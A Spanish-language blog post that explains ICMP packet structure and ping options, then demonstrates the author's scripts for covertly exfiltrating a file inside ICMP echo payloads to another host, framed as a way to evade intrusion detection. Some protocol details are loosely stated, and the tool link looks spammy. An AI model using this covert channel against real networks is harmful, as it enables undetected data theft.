How to Ping - Entendiendo el funcionamiento y usos del ICMP
Probablemente uno de los protocolos de red más subestimados que existen, sea el ICMP (Internet Control Message Protocol).
Se trata de un protocolo de comunicación, ampliamente utilizado pero con un propósito particular: Conocer el estado de una red.
Sin embargo, su potencial excede ello, ya que es posible transferir o exfiltrar información de una manera alternativa, que en algunos casos podría ser obviada por un sistema de detección de intrusión.
Antes de todo, debemos entender el fundamento, comprendiendo las bases de su implementación y por supuesto, sus capacidades.
El mensaje ICMP, viaja por la capa de red, siendo familia de TCP/IP, consta de una solicitud (ICMP Echo Request) y una respuesta (ICMP Echo Reply) y se compone de dos partes, un "Encabezado IP" con información del mensaje y una "Carga" con el mensaje en sí.
De acuerdo al RFC 792, vemos la siguiente maqueta con la composición de los paquetes y una esquema de los tamaños designados para cada uno de los componentes.
Encabezado IP
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Versión/IHL | Tipo (0) | Longitud |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identificación | Flags y offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| (TTL) | Protocolo (1) | Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Dirección IP Origen |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Dirección IP Destino |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Carga ICMP
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Tipo (8|0) | Código = 0 | Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identificador | Secuencia numérica |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Datos (opcional) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
De los diagramas anteriores debemos entender varias puntualidades.
El código por defecto es 0, pero en caso de existir algún error, nos entrega información sobre el estado de este, en donde:
0 = Red inalcanzada.
1 = Host inalcanzado.
2 = Protocolo inalcanzado.
3 = Puerto inalcanzado.
4 = Fragmentación requerida con la flag DF (Don't Fragment).
5 = Ruta de fuente fallida.
Los identificadores, Flags, offset y secuencias numéricas, son utilizados para la fragmentación. Y en caso de no estarlo, el espacio designado en la Carga toma el valor de "unused = 0".
Es interesante mencionar que el TTL o tiempo de vida, suele ser diferente entre sistemas operativos y dispositivos, por lo que puede ser utilizado para su identificación. Aunque no puede ser mayor a 255.
En la carga el Tipo determinará si es una solicitud (8) o una respuesta (0), los datos son un componente opcional y el resto de valores son estandar del paquete IP y validaciones de integridad (checksum).
El tamaño de Encabezado será de un mínimo de 20 bytes y un máximo de 60, por otro lado, la carga es de 8 bytes más los datos añadidos de manera adicional sumando un mínimo estandar de 28 bytes por paquete.
En Linux la herramienta ping, nos permitirá trabajar con estos paquetes y para ello, la siguiente lista contiene algunas opciones interesantes de esta utilidad:
-i: Espera x segundos entre el envío de cada paquete ICMP. El tiempo estándar es 1 segundo.
-c número: Especifica el número de pings a hacer.
-s: Se refiere el tamaño de la porción de datos del paquete ICMP. El tamaño estándar es 56 bytes de datos.
-l número: Selecciona que los paquetes ICMP deben ser enviados lo más rápido posible. Solo super-user puede seleccionar un número mayor a 3.
-t: Determina el tiempo de vida (TTL).
-n: No resolver host DNS.
Ahora que tenemos el fundamento, podemos pasar a la parte del truco.
Para ello usamos Wireshark, La siguiente imagen es el mismo esquema que vimos antes pero husmeando en la red.
Aquí notamos claramente en donde se ubican los bytes de las direcciones IP, así como el "tipo" que en este caso corresponde a 8, y los datos enviados.
Es llamativo que en el funcionamiento secreto del comando ping, envía una string con caracteres hexadecimales consecutivos del 10 al 37.
Teniendo esto claro, podemos describir y entender como transferir archivos, y en realidad la magia es solo extraer la data del paquete y recompilarla.
Para ello utilizaremos la siguiente herramienta que desarrollé
HACIENDO CLICK AQUI 100% FREE ONELINK
La ejecutaremos en los siguientes pasos.
1. Este es el archivo que queremos enviar.
$ cat data
OMG blabla file
2. Iniciamos send_icmp.py seleccionando el archivo y la IP de destino. Cuando ejecutemos data_exfil.py presionamos Enter para continuar.
$ sudo python send_icmp.py -f data -i 192.168.57.41
[+] La carga enviara 1 paquetes ICMP, selecciona en el servidor la opción -l 22
[+] Presiona cualquier tecla para comenzar el envío cuando data_exfil.py esté corriendo en el servidor
100%|█████████████████████████████████████████████████████████████████| 1/[00:00<00:00, 3.69it/s]
[+] Enviando Padding
3. Se recibe la captura y se imprime el texto.
$ sudo python3 data_exfil.py -l 22 -o outfile.txt
[+] Iniciando captura de paquetes ICMP
[+] Printing File...
OMG blabla file
4. Podemos leer el output del texto obtenido.
$ cat outfile.txt
OMG blabla file
Chan chan!
Si les sirve usenlo siempre de manera responsable y para hacer el bien :)
Referencias:
https://es.wikipedia.org/wiki/Ping
https://datatracker.ietf.org/doc/html/rfc792
https://learnduty.com/articles/icmp-explained-and-packet-format/